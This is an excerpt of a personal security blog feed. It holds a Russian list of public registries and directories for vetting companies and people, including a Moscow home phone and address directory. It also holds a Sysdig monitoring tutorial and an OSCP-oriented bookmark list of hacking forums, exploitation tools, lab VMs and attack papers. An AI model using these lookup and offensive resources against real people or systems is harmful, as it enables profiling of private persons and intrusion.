</li>
<li>
<p><a href="http://fedsfm.ru/documents/terrorists-catalog-portal-act">http://fedsfm.ru/documents/terrorists-catalog-portal-act</a> – ресурс позволяет проверить, не являются ли ваши клиенты, контрагенты, конкуренты, партнеры террористами или экстремистами.</p>
</li>
<li>
<p><a href="http://www.stroi-baza.ru/forum/index.php?showforum=46">http://www.stroi-baza.ru/forum/index.php?showforum=46</a> - «черный список» по российским строительным компаниям.</p>
</li>
<li>
<p><a href="http://xn--90afdbaav0bd1afy6eub5d.xn--p1ai/">http://xn–90afdbaav0bd1afy6eub5d.xn–p1ai/</a> – единая база данных решений судов общей юрисдикции РФ.</p>
</li>
<li>
<p><a href="http://web-compromat.com/service.html">http://web-compromat.com/service.html</a> – набор сайтов, облегчающих проверку компаний и физических лиц.</p>
</li>
<li>
<p><a href="http://www.centerdolgov.ru/">http://www.centerdolgov.ru/</a> – информация о недобросовестных компаниях-должниках России, Украины, Белоруссии, Казахстана. Поиск возможен по названию компаний, ИНН, стране и городу.</p>
</li>
<li>
<p><a href="http://www.egrul-base.ru/">http://www.egrul-base.ru/</a> - проверка клиентов, контрагентов, конкурентов за 15-30 минут. Проверка включает в себя поиск по «черным спискам», определение фактического хозяина бизнеса, связи компании, ее учредителей, генерального директора с другими организациями. Информация из ЕГРЮЛ. Цена 500 руб.</p>
</li>
<li>
<p><a href="http://ras.arbitr.ru/">http://ras.arbitr.ru/</a> - Высший арбитражный суд РФ с картотекой арбитражных дел и банком решения арбитражных судов.</p>
</li>
<li>
<p><a href="http://bankrot.fedresurs.ru/">http://bankrot.fedresurs.ru/</a> – единый федеральный реестр сведений о банкротстве.</p>
</li>
<li>
<p><a href="http://sts.gov.ua/businesspartner">http://sts.gov.ua/businesspartner </a> - лучший сервис проверки контрагентов, клиентов, конкурентов в Украине от Налоговой службы страны. Позволяет проверять юридическое лицо не только по собственным данным налоговой службы, но и другим открытым базам данных государственных порталов Украины. В России такого пока нет.</p>
</li>
<li>
<p><a href="https://rosreestr.ru/wps/portal/cc_information_online">https://rosreestr.ru/wps/portal/cc_information_online</a> – справочная информация по объектам недвижимости в режиме он-лайн от Федеральной службы государственной регистрации, кадастра и картографии.</p>
</li>
<li>
<p><a href="http://www.nomer.org/moskva/">http://www.nomer.org/moskva/</a> – телефонная база г.Москвы. Содержит адреса и телефоны всех московских квартир, в которых установлен телефон, и не только МГТС.</p>
</li>
<li>
<p><a href="http://spravkaru.net/">http://spravkaru.net/</a> – онлайн телефонный справочник по городам и регионам России.</p>
</li>
<li>
<p><a href="http://rossvyaz.ru/activity/num_resurs/registerNum/">http://rossvyaz.ru/activity/num_resurs/registerNum/</a> – полезный поисковик, позволяющий определить оператора по номеру или фрагменту номера телефона оператора, месторасположение и т.п.</p>
</li>
<li>
<p><a href="http://www.rospravosudie.com/">http://www.rospravosudie.com/</a> – поисковик-сервис по судебным решениям в России. Содержит все опубликованные судебные решения, список судей Российской Федерации, а также список действующих адвокатов. По каждому судье можно посмотреть списки его решений. Предоставляет статистику преступлений по регионам. Является некоммерческим проектом.</p>
</li>
<li>
<p><a href="http://www.salyk.kz/ru/taxpayer/interaktiv/Pages/default.aspx">http://www.salyk.kz/ru/taxpayer/interaktiv/Pages/default.aspx</a> – официальный портал Налогового комитета Министерства финансов республики Казахстан. Располагает рядом удобных сервисов, включая реестр плательщиков НДС, поиск налогоплательщиков в республике и проч.</p>
</li>
<li>
<p><a href="https://focus.kontur.ru/">https://focus.kontur.ru/</a> - лучший в Рунете по соотношению цены и качества сервис проверки клиентов, контрагентов и т.п., пользуясь официальными источниками статистики. Наряду с получением данных по отдельной организации позволяет в качестве дополнительной опции искать аффилированные между собой организации, а также пересечение по генеральным директорам, собственникам и т.п.</p>
</li>
<li>
<p><a href="http://fias.nalog.ru/Public/NewsPage.aspx">http://fias.nalog.ru/Public/NewsPage.aspx</a> – позволяет установить наличие или отсутствие любого адреса в любом месте в стране. Если точно такого адреса нет, то система выдаст наиболее близкие.</p>
</li>
<li>
<p><a href="http://alexandr-sel.livejournal.com/33499.html#cutid1">http://alexandr-sel.livejournal.com/33499.html#cutid1</a> – исчерпывающая и структурированная база ресурсов для проверки компаний на территории Республики Беларусь.</p>
</li>
<li>
<p><a href="http://fellix13.livejournal.com/6683.html">http://fellix13.livejournal.com/6683.htmlhttp:/</a> – необходимый набор ресурсов для проверки конрагентов на Украине от Сергея Коржова.</p>
</li>
<li>
<p><a href="http://mbcredit.ru/">http://mbcredit.ru/</a> – в группу компаний Cronos входят ЗАО МБКИ, которое предоставляет качественные бизнес-справки и в режиме он-лайн осуществляет проверку кредитных историй по любым компаниям и персоналиям по конкурентным ценам, а также многое другое. Цены вполне конкурентные.</p>
</li>
<li>
<p><a href="http://cases.pravo.ru/">http://cases.pravo.ru/</a> – картотека арбитражных дел. При помощи сервиса вы получаете доступ к любому делу в любом арбитражном суде. Достаточно указать известные вам параметры. Искать надо при помощи правой колонки. Поиск можно вести по участникам дела (название организации или ИНН), по фамилии судьи, по номеру дела, фильтровать по датам.</p>
</li>
<li>
<p><a href="http://www.gcourts.ru/">http://www.gcourts.ru/</a> – поисковик и одновременно справочник от Yandex по судам общей юрисдикции. Позволяет искать по номерам дел, ответчикам, истцам, отслеживать прохождение дел по всем инстанциям. Просто неоценимый инструмент для безопасников и разведчиков.</p>
</li>
<li>
<p><a href="https://service.nalog.ru/debt/">https://service.nalog.ru/debt/</a> – сервис «Узнай свою задолженность» позволяет пользователям узнавать не только свою задолженность, но осуществлять поиск информации о задолженности по имущественному, транспортному, земельному налогам, налогу на доходы физических лиц, граждан РФ.</p>
</li>
<li>
<p><a href="http://www.nopassword.ru/?p=41&cpage=1#comment-3287">http://www.nopassword.ru/?p=41&cpage=1#comment-3287</a> – есть такая профессия в стране, уводить деньги в офшоры и сделки через них производить. На ресурсе есть почти исчерпывающая коллекция ссылок на сайты, позволяющие отыскать нужную вам компанию в зоне ее юрисдикции и получить хоть какую-то, иногда и достаточную информацию об искомой офшорке. Практически все ссылки рабочие, одна-две требуют обновления.</p>
</li>
<li>
<p><a href="http://adnotamru.blogspot.com/">http://adnotamru.blogspot.com/</a> – на ресурсе богатейшая, хотя несколько беспорядочная коллекция полезнейших ссылок на сайты, позволяющие установить «красные флажки» как на физиков, так и на юриков. Ссылки не только на российские ресурсы, но и на ресурсы Украины, Белоруссии, Казахстана.</p>
</li>
<li>
<p><a href="http://www.law-soft.ru/">http://www.law-soft.ru/</a> – информация о предприятиях, находящихся в стадии банкротства, обобщается из «Коммерсанта», «Российской газеты». Информация с 2007 года по настоящее время. Через расширенный поиск Yandex отлично ищется по сайту.</p>
</li>
<li>
<p><a href="http://egrul.nalog.ru/">http://egrul.nalog.ru/</a> – отсюда можно почерпнуть сведения, внесенные в Единый Государственный Реестр Юридических Лиц.</p>
</li>
<li>
<p><a href="http://www.e-disclosure.ru/">http://www.e-disclosure.ru/</a> – сервер раскрытия информации по эмитентам ценных бумаг РФ.</p>
</li>
<li>
<p><a href="http://www.fssprus.ru/">http://www.fssprus.ru/</a> – картотека арбитражных дел Высшего Арбитражного Суда Российской Федерации</p>
</li>
<li>
<p><a href="http://www.mgodeloros.ru/register/search/">http://www.mgodeloros.ru/register/search/</a> – база данных должников, в которой зарегистрированы все физические и юридические лица как частного, так и публичного права (кроме государственных и органов местного самоуправления, а также тех субъектов, имущество которых сдано в ипотеку или в заклад), в отношении которых начата процедура принудительного исполнения.</p>
</li>
<li>
<p><a href="http://rnp.fas.gov.ru/?rpage=687&status=find">http://rnp.fas.gov.ru/?rpage=687&status=find</a> – Реестр недобросовестных поставщиков ФАС РФ</p>
</li>
<li>
<p><a href="https://rosreestr.ru/wps/portal">https://rosreestr.ru/wps/portal</a> - портал услуг Федеральной Службы Государственной Регистрации, Кадастра и Картографии, где можно получить сведения о земельной собственности и расположенной на ней недвижимости.</p>
</li>
<li>
<p><a href="http://services.fms.gov.ru/info-service.htm?sid=2000">http://services.fms.gov.ru/info-service.htm?sid=2000</a> – официальный сайт Федеральной миграционной службы России, где можно получить информацию о наличии/отсутствии регистрации того или иного гражданина на территории РФ и некоторую иную информацию.</p>
</li>
<li>
<p><a href="http://www.notary.ru/notary/bd.html">http://www.notary.ru/notary/bd.html</a> - нотариальный портал. Содержит список с координатами всех частных практикующих нотариусов России и нотариальных палат. Для зарегистрированных пользователей доступна судебная практика нотариусов и файловый архив. База обновляется ежедневно.</p>
</li>
<li>
<p><a href="http://kad.arbitr.ru/">http://kad.arbitr.ru/</a> – он-лайн картотека Арбитражного Суда Российской Федерации.</p>
</li>
</ul>
<p><a href="https://jivoi.github.io/2015/07/04/otkrytyie-bazy-dannykh-rf/">Открытые базы данных РФ</a> was originally published by EK at <a href="https://jivoi.github.io">EK</a> on July 04, 2015.</p>https://jivoi.github.io/2015/07/03/playing-with-sysdig2015-07-03 18:32:42 +0300T00:00:00-00:002015-07-03T00:00:00+03:00EKhttps://jivoi.github.io[email protected]<p>Learn how to use Sysdig</p>
<ul>
<li><a href="http://www.sysdig.org/">Sysdig Site</a></li>
<li><a href="http://www.sysdig.org/wiki/">Sysdig Wiki</a></li>
</ul>
<h3 id="first-steps-with-sysdig">First steps with Sysdig</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># install </span>
curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public <span class="p">|</span> apt-key add -
curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/stable/deb/draios.list
apt-get update
apt-get -y install linux-headers-<span class="k">$(</span>uname -r<span class="k">)</span>
apt-get -y install sysdig
<span class="c"># capturing and reading events</span>
sysdig -vDw filename
sysdig -vDr filename
<span class="c"># filtering the data</span>
sysdig -l
sysdig -vDr filename <span class="s2">"proc.name=sshd"</span>
sysdig -vDr filename <span class="s2">"proc.name=sshd and evt.type=accept and evt.dir=<"</span>
sysdig -vDr filename <span class="s2">"proc.name=sshd and evt.type=read and evt.dir=<"</span>
sysdig -s <span class="m">65536</span> -vSzw nginx.scap <span class="s2">"proc.name=nginx"</span>
sysdig -s <span class="m">65536</span> -vSzw httpd.scap <span class="s2">"proc.name=httpd"</span>
sysdig -r httpd.scap -j -p <span class="s2">"%evt.time %fd.directory %fd.filename"</span> <span class="s2">"evt.type=open and evt.dir=<"</span>
<span class="c"># analyzing syslog with sysdig</span>
sysdig -c spy_syslog
sysdig -c spy_syslog <span class="s1">'syslog.severity < 4 and proc.name=logger'</span>
sysdig -F -w trace.scap evt.is_syslog<span class="o">=</span><span class="nb">true</span>
<span class="c"># analyzing application logs with sysdig</span>
sysdig -c spy_logs
sysdig -c spy_logs proc.name<span class="o">=</span>httpd and evt.buffer contains GET
sysdig -r system.scap -c spy_logs <span class="s2">"request.scap 1000"</span> <span class="s2">"evt.buffer contains Database"</span>
-c spy_logs “request.scap 1000″ means: <span class="k">for</span> each event selected, save 1000ms of system activity before it happened and 1000ms of activity after it happened, but just <span class="k">for</span> the thread that generated the event, and save it to request.scap
“evt.buffer contains Database” is our filter <span class="k">for</span> selecting events, which we use to isolate the specific log entry we’re interested in <span class="o">(</span>and in fact, sysdig confirms the success of our filter by showing the one log message we wanted to isolate in this <span class="k">case</span><span class="o">)</span>
<span class="c"># lsof + filters</span>
sysdig -c lsof <span class="s2">"proc.name=sshd"</span>
sysdig -c lsof <span class="s2">"'fd.type=ipv4 and user.name=root'"</span>
sysdig -c lsof <span class="s2">"'fd.name contains /etc'"</span>
sysdig -c ps <span class="s2">"'fd.type=ipv4'"</span>
sysdig -c ps <span class="s2">"'fd.name contains /etc or fd.type=ipv4'"</span>
<span class="c"># chisels(Lua scripts)</span>
sysdig -c topprocs_cpu
sysdig -c topprocs_net
sysdig -c topconns</code></pre></div>
<p><a href="https://jivoi.github.io/2015/07/03/playing-with-sysdig/">Playing with Sysdig</a> was originally published by EK at <a href="https://jivoi.github.io">EK</a> on July 03, 2015.</p>https://jivoi.github.io/2015/07/03/offensive-security-bookmarks2015-07-03 16:58:01 +0300T00:00:00-00:002015-07-03T00:00:00+03:00EKhttps://jivoi.github.io[email protected]<p>My security bookmarks collection.</p>
<p>All that things I need to pass OSCP, i think =)</p>
<section id="table-of-contents" class="toc">
<header>
<h3>Contents</h3>
</header>
<div id="drawer">
<ul id="markdown-toc">
<li><a href="#security-blogs" id="markdown-toc-security-blogs">Security Blogs</a></li>
<li><a href="#security-forums" id="markdown-toc-security-forums">Security Forums</a></li>
<li><a href="#tor-onion-links" id="markdown-toc-tor-onion-links">Tor Onion Links</a></li>
<li><a href="#security-methodologies" id="markdown-toc-security-methodologies">Security Methodologies</a></li>
<li><a href="#trainingclassesvideo" id="markdown-toc-trainingclassesvideo">Training/Classes/Video</a></li>
<li><a href="#pentest-tools" id="markdown-toc-pentest-tools">Pentest Tools</a></li>
<li><a href="#pentest-lab-iso-vms" id="markdown-toc-pentest-lab-iso-vms">Pentest Lab ISO-VMs</a></li>
<li><a href="#metasploit" id="markdown-toc-metasploit">Metasploit</a></li>
<li><a href="#net-scanners" id="markdown-toc-net-scanners">Net Scanners</a></li>
<li><a href="#man-in-the-middle-attack" id="markdown-toc-man-in-the-middle-attack">Man-in-the-middle attack</a></li>
<li><a href="#phase-1---reconnaissance-information-gathering-before-the-attack" id="markdown-toc-phase-1---reconnaissance-information-gathering-before-the-attack">Phase 1 - Reconnaissance: Information Gathering before the Attack</a> <ul>
<li><a href="#phase-11---people-and-orginizational" id="markdown-toc-phase-11---people-and-orginizational">Phase 1.1 - People and Orginizational</a></li>
<li><a href="#phase-12---infastructure" id="markdown-toc-phase-12---infastructure">Phase 1.2 - Infastructure</a></li>
<li><a href="#phase-12---tools" id="markdown-toc-phase-12---tools">Phase 1.2 - Tools</a></li>
</ul>
</li>
<li><a href="#phase-2---enumeration-finding-attack-vectors" id="markdown-toc-phase-2---enumeration-finding-attack-vectors">Phase 2 - Enumeration: Finding Attack Vectors</a></li>
<li><a href="#phase-3---exploitation-verifying-security-weaknesses" id="markdown-toc-phase-3---exploitation-verifying-security-weaknesses">Phase 3 - Exploitation: Verifying Security Weaknesses</a> <ul>
<li><a href="#dump-windows-password-hashes" id="markdown-toc-dump-windows-password-hashes">Dump Windows Password Hashes</a></li>
<li><a href="#windows-passhing-the-hash" id="markdown-toc-windows-passhing-the-hash">Windows Passhing The Hash</a></li>
<li><a href="#windows-previlige-escalation" id="markdown-toc-windows-previlige-escalation">Windows Previlige Escalation</a></li>
<li><a href="#linux-previlige-escalation" id="markdown-toc-linux-previlige-escalation">Linux Previlige Escalation</a></li>
<li><a href="#tunneling--port-forwarding" id="markdown-toc-tunneling--port-forwarding">Tunneling & Port Forwarding</a></li>
<li><a href="#xss-cheat-codes" id="markdown-toc-xss-cheat-codes">XSS Cheat Codes</a></li>
<li><a href="#webshells" id="markdown-toc-webshells">WebShells</a></li>
<li><a href="#sqli-general-resources" id="markdown-toc-sqli-general-resources">SQLi General Resources</a></li>
<li><a href="#mysqli-resources" id="markdown-toc-mysqli-resources">MySQLi Resources</a></li>
<li><a href="#mssqli-resources" id="markdown-toc-mssqli-resources">MSSQLi Resources</a></li>
<li><a href="#oracle-sqli-resources" id="markdown-toc-oracle-sqli-resources">Oracle SQLi Resources</a></li>
<li><a href="#postgres-sqli-resources" id="markdown-toc-postgres-sqli-resources">Postgres SQLi Resources</a></li>
<li><a href="#sqlite-resources" id="markdown-toc-sqlite-resources">SQLite Resources</a></li>
<li><a href="#rfilfi-tutorials" id="markdown-toc-rfilfi-tutorials">RFI/LFI Tutorials</a></li>
<li><a href="#nasm-tutorial" id="markdown-toc-nasm-tutorial">NASM Tutorial</a></li>
<li><a href="#buffer-overflow-tutorial" id="markdown-toc-buffer-overflow-tutorial">Buffer Overflow Tutorial</a></li>
<li><a href="#exploit-development" id="markdown-toc-exploit-development">Exploit Development</a></li>
<li><a href="#exploits-and-shellcodes" id="markdown-toc-exploits-and-shellcodes">Exploits and Shellcodes</a></li>
<li><a href="#reverse-engineering" id="markdown-toc-reverse-engineering">Reverse Engineering</a></li>
<li><a href="#os-cheat-sheets-and-script-syntax" id="markdown-toc-os-cheat-sheets-and-script-syntax">OS Cheat Sheets and Script Syntax</a></li>
<li><a href="#passwords-wordlists-hashes-tools" id="markdown-toc-passwords-wordlists-hashes-tools">Passwords Wordlists, Hashes, Tools</a></li>
<li><a href="#infosec-hiring" id="markdown-toc-infosec-hiring">InfoSec Hiring</a></li>
<li><a href="#it-certifications" id="markdown-toc-it-certifications">IT Certifications</a></li>
<li><a href="#links-collections" id="markdown-toc-links-collections">Links Collections</a></li>
<li><a href="#books" id="markdown-toc-books">Books</a></li>
</ul>
</li>
</ul>
</div>
</section>
<!-- /#table-of-contents -->
<h3 id="security-blogs">Security Blogs</h3>
<ul>
<li><a href="http://pastebin.com/raw.php?i=SxCsSFv8">My Security OPML</a></li>
</ul>
<h3 id="security-forums">Security Forums</h3>
<ul>
<li><a href="http://securityoverride.org/forum/index.php">http://securityoverride.org/forum/index.php</a></li>
<li><a href="https://www.hackthissite.org/forums/index.php">https://www.hackthissite.org/forums/index.php</a></li>
<li><a href="https://www.ethicalhacker.net/forums/index.php">https://www.ethicalhacker.net/forums/index.php</a></li>
<li><a href="https://evilzone.org/">https://evilzone.org/</a></li>
<li><a href="http://forum.antichat.ru/">http://forum.antichat.ru/</a></li>
<li><a href="https://forum.xeksec.com/">https://forum.xeksec.com/</a></li>
<li><a href="https://rdot.org/forum/">https://rdot.org/forum/</a></li>
<li><a href="https://forum.zloy.bz/">https://forum.zloy.bz/</a></li>
<li><a href="https://forum.reverse4you.org/">https://forum.reverse4you.org/</a></li>
<li><a href="https://rstforums.com/forum/">https://rstforums.com/forum/</a></li>
<li><a href="http://www.truehackers.ru/forum/index.php">http://www.truehackers.ru/forum/index.php</a></li>
<li><a href="http://garage4hackers.com/forum.php">http://garage4hackers.com/forum.php</a></li>
<li><a href="https://www.hellboundhackers.org/">https://www.hellboundhackers.org/</a></li>
<li><a href="http://www.lockpicking101.com/">http://www.lockpicking101.com/</a></li>
<li><a href="https://www.xploitworld.com/index.php">https://www.xploitworld.com/index.php</a></li>
</ul>
<h3 id="tor-onion-links">Tor Onion Links</h3>
<ul>
<li><a href="http://www.hiddenwiki.info/">http://www.hiddenwiki.info/</a></li>
</ul>
<h3 id="security-methodologies">Security Methodologies</h3>
<ul>
<li><a href="http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html">http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html</a></li>
<li><a href="http://www.pentest-standard.org/index.php/Main_Page">http://www.pentest-standard.org/index.php/Main_Page</a></li>
<li><a href="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project">https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project</a></li>
<li><a href="http://yehg.net/lab/pr0js/misc/wasarg_owasp-tgv4_with_ref.php">http://yehg.net/lab/pr0js/misc/wasarg_owasp-tgv4_with_ref.php</a></li>
<li><a href="http://www.social-engineer.org/">http://www.social-engineer.org/</a></li>
<li><a href="http://projects.webappsec.org/w/page/13246927/FrontPage">http://projects.webappsec.org/w/page/13246927/FrontPage</a></li>
</ul>
<h3 id="trainingclassesvideo">Training/Classes/Video</h3>
<ul>
<li><a href="https://exploit-exercises.com">https://exploit-exercises.com</a></li>
<li><a href="https://www.cybrary.it/cyber-security/">https://www.cybrary.it/cyber-security/</a></li>
<li><a href="http://www.irongeek.com/i.php?page=videos/aide-winter-2011">http://www.irongeek.com/i.php?page=videos/aide-winter-2011</a></li>
<li><a href="https://lab.pentestit.ru/pentestlabs/3">https://lab.pentestit.ru/pentestlabs/3</a></li>
<li><a href="https://trailofbits.github.io/ctf/">https://trailofbits.github.io/ctf/</a></li>
<li><a href="http://ctf.forgottensec.com/wiki/?title=Main_Page">http://ctf.forgottensec.com/wiki/?title=Main_Page</a></li>
<li><a href="http://smashthestack.org/">http://smashthestack.org/</a></li>
<li><a href="http://ctf.hcesperer.org/">http://ctf.hcesperer.org/</a></li>
<li><a href="https://www.google.com/calendar/feeds/[email protected]/public/basic">https://www.google.com/calendar/feeds/[email protected]/public/basic</a></li>
<li><a href="https://www.google.com/calendar/[email protected]&gsessionid=OK">https://www.google.com/calendar/[email protected]&gsessionid=OK</a></li>
<li><a href="https://crypto.stanford.edu/cs155/">https://crypto.stanford.edu/cs155/</a></li>
<li><a href="https://www.offensive-security.com/metasploit-unleashed/">https://www.offensive-security.com/metasploit-unleashed/</a></li>
<li><a href="http://www.irongeek.com/i.php?page=videos/metasploit-class">http://www.irongeek.com/i.php?page=videos/metasploit-class</a></li>
<li><a href="http://www.securitytube.net/">http://www.securitytube.net/</a></li>
<li><a href="http://resources.infosecinstitute.com/">http://resources.infosecinstitute.com/</a></li>
<li><a href="https://www.cs.fsu.edu/~redwood/OffensiveSecurity/lectures.html">https://www.cs.fsu.edu/~redwood/OffensiveSecurity/lectures.html</a></li>
<li><a href="https://www.youtube.com/watch?v=ANlROJNWtCs&list=PLM0IiVYClP2vC3A6Uz_ESV86kBVYei5qx">https://www.youtube.com/watch?v=ANlROJNWtCs&list=PLM0IiVYClP2vC3A6Uz_ESV86kBVYei5qx</a></li>
<li><a href="https://www.youtube.com/watch?v=Sye3mu-EoTI">https://www.youtube.com/watch?v=Sye3mu-EoTI</a></li>
<li><a href="https://www.youtube.com/watch?v=GPjcSxyIIUc">https://www.youtube.com/watch?v=GPjcSxyIIUc</a></li>
<li><a href="https://www.youtube.com/watch?v=kPxavpgos2I">https://www.youtube.com/watch?v=kPxavpgos2I</a></li>
<li><a href="https://www.youtube.com/watch?v=pnqcHU2qFiA">https://www.youtube.com/watch?v=pnqcHU2qFiA</a></li>
<li><a href="http://www.securitytube.net/video/7640">http://www.securitytube.net/video/7640</a></li>
<li><a href="https://www.youtube.com/watch?v=y2zrEAwmdws">https://www.youtube.com/watch?v=y2zrEAwmdws</a></li>
<li><a href="http://www.securitytube.net/video/7735">http://www.securitytube.net/video/7735</a></li>
</ul>
<h3 id="pentest-tools">Pentest Tools</h3>
<ul>
<li><a href="https://github.com/pwnwiki/pwnwiki.github.io">https://github.com/pwnwiki/pwnwiki.github.io</a></li>
<li><a href="https://github.com/sbilly/awesome-security">https://github.com/sbilly/awesome-security</a></li>
<li><a href="https://github.com/paragonie/awesome-appsec">https://github.com/paragonie/awesome-appsec</a></li>
<li><a href="https://github.com/enaqx/awesome-pentest">https://github.com/enaqx/awesome-pentest</a></li>
<li><a href="https://github.com/kahun/awesome-sysadmin#security">https://github.com/kahun/awesome-sysadmin#security</a></li>
<li><a href="http://beefproject.com/">http://beefproject.com/</a></li>
<li><a href="https://xsser.03c8.net/">https://xsser.03c8.net/</a></li>
<li><a href="https://code.google.com/p/fuzzdb/">https://code.google.com/p/fuzzdb/</a></li>
<li><a href="https://www.owasp.org/index.php/Category:OWASP_Fuzzing_Code_Database#tab=Statements">https://www.owasp.org/index.php/Category:OWASP_Fuzzing_Code_Database#tab=Statements</a></li>
<li><a href="http://w3af.org/">http://w3af.org/</a></li>
<li><a href="https://code.google.com/p/skipfish/">https://code.google.com/p/skipfish/</a></li>
<li><a href="https://www.sans.org/reading-room/whitepapers/testing/fuzzing-approach-credentials-discovery-burp-intruder-33214">https://www.sans.org/reading-room/whitepapers/testing/fuzzing-approach-credentials-discovery-burp-intruder-33214</a></li>
<li><a href="https://www.securityninja.co.uk/hacking/burp-suite-tutorial-the-intruder-tool/">https://www.securityninja.co.uk/hacking/burp-suite-tutorial-the-intruder-tool/</a></li>
<li><a href="http://www.justanotherhacker.com/projects/graudit.html">http://www.justanotherhacker.com/projects/graudit.html</a></li>
<li><a href="https://packetstormsecurity.com/files/tags/tool">https://packetstormsecurity.com/files/tags/tool</a></li>
</ul>
<h3 id="pentest-lab-iso-vms">Pentest Lab ISO-VMs</h3>
<ul>
<li><a href="http://www.amanhardikar.com/mindmaps/PracticeUrls.html">http://www.amanhardikar.com/mindmaps/PracticeUrls.html</a></li>
<li><a href="https://www.kali.org/">https://www.kali.org/</a></li>
<li><a href="https://www.owasp.org/index.php/OWASP_Web_Testing_Environment_Project">https://www.owasp.org/index.php/OWASP_Web_Testing_Environment_Project</a></li>
<li><a href="http://blackarch.org/">http://blackarch.org/</a></li>
<li><a href="https://code.google.com/p/owaspbwa/">https://code.google.com/p/owaspbwa/</a></li>
<li><a href="https://www.mavensecurity.com/web_security_dojo/">https://www.mavensecurity.com/web_security_dojo/</a></li>
<li><a href="http://hackingdojo.com/dojo-media/">http://hackingdojo.com/dojo-media/</a></li>
<li><a href="http://informatica.uv.es/~carlos/docencia/netinvm/">http://informatica.uv.es/~carlos/docencia/netinvm/</a></li>
<li><a href="http://www.bonsai-sec.com/en/research/moth.php">http://www.bonsai-sec.com/en/research/moth.php</a></li>
<li><a href="http://sourceforge.net/projects/metasploitable/files/Metasploitable2/">http://sourceforge.net/projects/metasploitable/files/Metasploitable2/</a></li>
<li><a href="http://sourceforge.net/projects/lampsecurity/?source=navbar">http://sourceforge.net/projects/lampsecurity/?source=navbar</a></li>
<li><a href="https://www.hacking-lab.com/index.html">https://www.hacking-lab.com/index.html</a></li>
<li><a href="http://sourceforge.net/projects/virtualhacking/files/">http://sourceforge.net/projects/virtualhacking/files/</a></li>
<li><a href="http://www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-10">http://www.irongeek.com/i.php?page=mutillidae/mutillidae-deliberately-vulnerable-php-owasp-top-10</a></li>
<li><a href="http://www.dvwa.co.uk/">http://www.dvwa.co.uk/</a></li>
<li><a href="http://sourceforge.net/projects/thebutterflytmp/">http://sourceforge.net/projects/thebutterflytmp/</a></li>
<li><a href="http://magikh0e.ihtb.org/pubPapers/">http://magikh0e.ihtb.org/pubPapers/</a></li>
</ul>
<h3 id="metasploit">Metasploit</h3>
<ul>
<li><a href="http://resources.metasploit.com/">http://resources.metasploit.com/</a></li>
<li><a href="http://netsec.ws/?p=262">http://netsec.ws/?p=262</a></li>
<li><a href="http://seclists.org/metasploit/">http://seclists.org/metasploit/</a></li>
<li><a href="https://www.offensive-security.com/metasploit-unleashed/Introduction/">https://www.offensive-security.com/metasploit-unleashed/Introduction/</a></li>
<li><a href="http://www.offensive-security.com/metasploit-unleashed/Msfvenom">http://www.offensive-security.com/metasploit-unleashed/Msfvenom</a></li>
<li><a href="https://community.rapid7.com/community/metasploit/">https://community.rapid7.com/community/metasploit/</a></li>
<li><a href="http://www.securitytube.net/video/711?q=METASPLOIT">http://www.securitytube.net/video/711?q=METASPLOIT</a></li>
<li><a href="https://en.wikibooks.org/wiki/Metasploit">https://en.wikibooks.org/wiki/Metasploit</a></li>
<li><a href="https://www.sans.org/security-resources/sec560/misc_tools_sheet_v1.pdf">https://www.sans.org/security-resources/sec560/misc_tools_sheet_v1.pdf</a></li>
<li><a href="http://rmccurdy.com/scripts/Metasploit%20meterpreter%20cheat%20sheet%20reference.html">http://rmccurdy.com/scripts/Metasploit%20meterpreter%20cheat%20sheet%20reference.html</a></li>
<li><a href="https://github.com/rapid7/metasploit-framework/wiki/Meterpreter">https://github.com/rapid7/metasploit-framework/wiki/Meterpreter</a></li>
<li><a href="https://www.blackhat.com/presentations/bh-dc-10/Egypt/BlackHat-DC-2010-Egypt-UAV-slides.pdf">https://www.blackhat.com/presentations/bh-dc-10/Egypt/BlackHat-DC-2010-Egypt-UAV-slides.pdf</a></li>
</ul>
<h3 id="net-scanners">Net Scanners</h3>
<ul>
<li><a href="https://nmap.org/">https://nmap.org/</a></li>
<li><a href="https://nmap.org/nsedoc/">https://nmap.org/nsedoc/</a></li>
<li><a href="http://www.securitytube.net/video/931">http://www.securitytube.net/video/931</a></li>
<li><a href="https://nmap.org/nsedoc/">https://nmap.org/nsedoc/</a></li>
<li><a href="http://www.openvas.org/">http://www.openvas.org/</a></li>
<li><a href="http://www.tenable.com/products/nessus-vulnerability-scanner">http://www.tenable.com/products/nessus-vulnerability-scanner</a></li>
<li><a href="https://www.rapid7.com/products/nexpose/compare-downloads.jsp">https://www.rapid7.com/products/nexpose/compare-downloads.jsp</a></li>
<li><a href="http://www.inguardians.com/research/docs/Skoudis_pentestsecrets.pdf">http://www.inguardians.com/research/docs/Skoudis_pentestsecrets.pdf</a></li>
</ul>
<h3 id="man-in-the-middle-attack">Man-in-the-middle attack</h3>
<ul>
<li><a href="http://www.linuxsecurity.com/docs/PDF/dsniff-n-mirror.pdf">http://www.linuxsecurity.com/docs/PDF/dsniff-n-mirror.pdf</a></li>
<li><a href="http://media.techtarget.com/searchUnifiedCommunications/downloads/Seven_Deadliest_UC_Attacks_Ch3.pdf">http://media.techtarget.com/searchUnifiedCommunications/downloads/Seven_Deadliest_UC_Attacks_Ch3.pdf</a></li>
<li><a href="https://packetstormsecurity.com/papers/wireless/cracking-air.pdf">https://packetstormsecurity.com/papers/wireless/cracking-air.pdf</a></li>
<li><a href="https://www.blackhat.com/presentations/bh-europe-03/bh-europe-03-valleri.pdf">https://www.blackhat.com/presentations/bh-europe-03/bh-europe-03-valleri.pdf</a></li>
<li><a href="https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-sam_bowne-hijacking_web_2.0.pdf">https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-sam_bowne-hijacking_web_2.0.pdf</a></li>
<li><a href="http://www.leetupload.com/database/Misc/Papers/Asta%20la%20Vista/18.Ettercap_Spoof.pdf">http://www.leetupload.com/database/Misc/Papers/Asta%20la%20Vista/18.Ettercap_Spoof.pdf</a></li>
<li><a href="http://bandwidthco.com/nf.html">http://bandwidthco.com/nf.html</a></li>
<li><a href="http://articles.manugarg.com/arp_spoofing.pdf">http://articles.manugarg.com/arp_spoofing.pdf</a></li>
